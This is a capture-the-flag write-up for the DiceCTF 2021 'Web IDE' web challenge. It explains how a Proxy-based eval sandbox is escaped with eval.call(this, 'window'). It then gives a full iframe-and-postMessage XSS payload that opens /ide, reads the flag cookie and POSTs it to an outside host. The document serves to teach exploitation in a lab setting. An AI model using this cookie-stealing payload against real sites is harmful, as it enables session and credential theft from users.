# Web IDE## ChallengeWork on JavaScript projects directly in your browser! Make something cool? Send it [here](https://us-east1-dicegang.cloudfunctions.net/ctf-2021-admin-bot?challenge=web-ide)
[web-ide.dicec.tf](https://web-ide.dicec.tf)
*Downloads*: `index.js`
## SolutionInside `index.js` we can see where the flag is:```js  case 'admin':    if (password === adminPassword)      return res.cookie('token', `dice{${process.env.FLAG}}`, {        path: '/ide',        sameSite: 'none',        secure: true      }).redirect('/ide/');    break;```
Which means we have to get access to `/ide` path and execute XSS there.We can't simply iframe `/ide` because of `X-Frame-Options: DENY` header, but we can also see this endpoint on the server:```js// sandbox the sandboxapp.use('/sandbox.html', (req, res, next) => {  res.setHeader('Content-Security-Policy', 'frame-src \'none\'');  // we have to allow this for obvious reasons  res.removeHeader('X-Frame-Options');  return next();});```which is specifically designed to be iframe-d and execute arbitrary JavaScript.The sandbox has a safety measure in place to not let us access the window object like this:```js  const safeEval = (d) => (function (data) {    with (new Proxy(window, {      get: (t, p) => {        if (p === 'console') return { log };        if (p === 'eval') return window.eval;        return undefined;      }    })) {      eval(data);    }  }).call(Object.create(null), d);```but we can get around this simply by using `eval.call(this, "window")` as we have access to the original implementation.
Now it's just a matter of writing a payload for the iframe, embed it in a website and make the bot navigate to it.
The payload:```jsconst w = eval.call(this, "window");let p = w.open('/ide');await new w.Promise(r => w.setTimeout(r, 500));const c = p.document.cookie;w.fetch("ctf.rabulinski.com", { method: "POST", body: c });```Whole website:```html<body>  <iframe src="https://web-ide.dicec.tf/sandbox.html" sandbox="allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox"></iframe>  <script>    const frame = document.querySelector('iframe');    frame.onload = () => frame.contentWindow.postMessage(`(async () => {      const w = eval.call(this, "window");      let p = w.open('/ide');      await new w.Promise(r => w.setTimeout(r, 500));      const c = p.document.cookie;      w.fetch("ctf.rabulinski.com", { method: "POST", body: c });    })();`, '*');  </script></body>```